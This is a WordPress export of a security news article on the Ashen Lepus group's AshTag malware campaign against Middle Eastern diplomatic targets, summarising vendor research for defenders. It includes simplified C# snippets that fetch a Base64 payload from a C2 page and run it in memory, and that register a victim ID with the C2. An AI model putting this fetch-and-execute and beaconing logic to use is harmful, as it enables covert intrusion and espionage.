{"id":9151,"date":"2025-12-12T10:04:10","date_gmt":"2025-12-12T10:04:10","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/12\/12\/ashen-lepus-hacker-group-attacks-eastern-diplomatic-entities-with-new-ashtag-malware\/"},"modified":"2025-12-12T10:04:10","modified_gmt":"2025-12-12T10:04:10","slug":"ashen-lepus-hacker-group-attacks-eastern-diplomatic-entities-with-new-ashtag-malware","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/12\/12\/ashen-lepus-hacker-group-attacks-eastern-diplomatic-entities-with-new-ashtag-malware\/","title":{"rendered":"Ashen Lepus Hacker Group Attacks Eastern Diplomatic Entities With New AshTag Malware"},"content":{"rendered":"

Ashen Lepus Hacker Group Attacks Eastern Diplomatic Entities With New AshTag Malware
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

A Hamas\u2011affiliated threat group known as Ashen Lepus, also tracked as WIRTE, has launched a new espionage campaign against governmental and diplomatic entities across the Middle East.<\/p>\n

The group uses realistic Arabic\u2011language diplomatic lures that reference regional politics and security talks to trick officials into opening weaponized documents.<\/p>\n

Once a target interacts with the lure, a multi\u2011stage chain quietly delivers a new custom malware<\/a> suite named AshTag, designed to steal sensitive diplomatic documents and maintain long\u2011term access to compromised systems.<\/p>\n

\n
\"Lure
Lure examples presented to targets (Source \u2013 Palo Alto Networks)<\/figcaption><\/figure>\n<\/div>\n

The operation has continued through recent regional conflicts and even after the October 2025 Gaza ceasefire, underlining the group\u2019s focus on persistent intelligence collection rather than short\u2011term disruption.<\/p>\n

The attackers rely on benign\u2011looking PDFs that direct victims to download RAR archives containing a fake document executable, a malicious loader, and an extra decoy PDF<\/a>.<\/p>\n

When the victim runs what appears to be a document, Windows side\u2011loads a hidden malicious DLL<\/a> and begins the infection, while a harmless PDF opens on screen to reduce suspicion.<\/p>\n

\n
\"AshTag's
AshTag\u2019s initial infection chain (Source \u2013 Palo Alto Networks)<\/figcaption><\/figure>\n<\/div>\n

Palo Alto Networks security researchers identified<\/a> this new AshTag toolkit while tracking long\u2011running Ashen Lepus activity and noticed clear changes in both the malware and its command\u2011and\u2011control (C2) infrastructure.<\/p>\n

Instead of using dedicated attacker\u2011owned domains, the group now hides behind API\u2011style subdomains of legitimate\u2011looking sites, such as api.healthylifefeed[.]com and auth.onlinefieldtech[.]com, to make their traffic blend in with normal web activity.<\/p>\n

At the same time, payloads are executed in memory to leave fewer forensic traces on disk.<\/p>\n

AshTag Infection Mechanism and Orchestrator Design<\/strong><\/h2>\n

At the core of the campaign is a modular .NET backdoor, AshTag, which masquerades as a VisualServer utility but actually supports file exfiltration, command execution and in\u2011memory loading of extra tools.<\/p>\n

The chain moves from an initial loader dubbed AshenLoader, to a secondary stager called AshenStager, and finally to an orchestration component, AshenOrchestrator, which controls all later modules.<\/p>\n

\n
\"The
The full AshTag Malware infection chain (Source \u2013 Palo Alto Networks)<\/figcaption><\/figure>\n<\/div>\n

AshenLoader sends basic host data to the C2 and fetches AshenStager from HTML content hidden between custom headerp tags.<\/p>\n

AshenStager then requests another page and extracts a Base64\u2011encoded payload buried inside article tags.<\/p>\n

\n
\"AshenOrchestrator\u2019s
AshenOrchestrator\u2019s Base64-encoded payload embedded within the article HTML tags (Source \u2013 Palo Alto Networks)<\/figcaption><\/figure>\n<\/div>\n

A simplified version of this parsing logic can be expressed as:-<\/p>\n

var html = GetHtml(c2Url);\nvar match = Regex.Match(html, \"<article[^>]*>(?<data>[^<]+)<\/article>\");\nvar b64 = match.Groups[\"data\"].Value;\nvar payload = Convert.FromBase64String(b64);\nExecuteInMemory(payload);<\/code><\/pre>\n
AshenOrchestrator receives a Base64\u2011encoded JSON configuration<\/a> that includes C2 domains, module URLs, encryption keys and jitter values mn and mx to randomize beacon timing.<\/p>\n
It first derives an AES key from tg and au parameters, then decrypts an XOR key used to decode the next embedded payload.<\/p>\n
That payload is another Base64\u2011encoded JSON object that defines the module\u2019s class name, such as SN for system fingerprinting or SCT for screen capture, and the loading method mna, which can direct the orchestrator to save a module to disk, execute it as a .NET assembly, upload extra content or inject code into memory.<\/p>\n
\n
\"Decoded
Decoded AshenOrchestrator configuration (Source \u2013 Palo Alto Networks)<\/figcaption><\/figure>\n<\/div>\n
One recovered module, SN, performs host profiling through simple WMI<\/a> queries and sends a unique victim ID back to the attackers, helping Ashen Lepus focus on high\u2011value diplomatic systems.<\/p>\n
\n
\"AshTag
AshTag module decoding process (Source \u2013 Palo Alto Networks)<\/figcaption><\/figure>\n<\/div>\n
A basic version of this logic can be illustrated as:-<\/p>\n
var id = GetWmi(\"Win32_ComputerSystemProduct\", \"UUID\");\nPostToC2(\"\/api\/v2\/register\", id);<\/code><\/pre>\n
This careful layering of loaders, HTML\u2011hidden payloads, and modular .NET components shows that Ashen Lepus is steadily improving its tradecraft while keeping the code base simple, flexible and tuned for stealthy diplomatic espionage.<\/p>\n
Follow us on\u00a0Google News<\/a>,\u00a0LinkedIn<\/a>,\u00a0and\u00a0X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0Set CSN as a Preferred Source in\u00a0Google<\/a>.<\/strong><\/p>\n
The post Ashen Lepus Hacker Group Attacks Eastern Diplomatic Entities With New AshTag Malware<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
Ashen Lepus Hacker Group Attacks Eastern Diplomatic Entities With New AshTag Malware A Hamas\u2011affiliated threat group known as Ashen Lepus, also tracked as WIRTE, has launched a new espionage campaign against governmental and diplomatic entities across the Middle East. The group uses realistic Arabic\u2011language diplomatic lures that reference regional politics and security talks to trick […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-9151","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9151"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=9151"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9151\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=9151"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=9151"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=9151"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}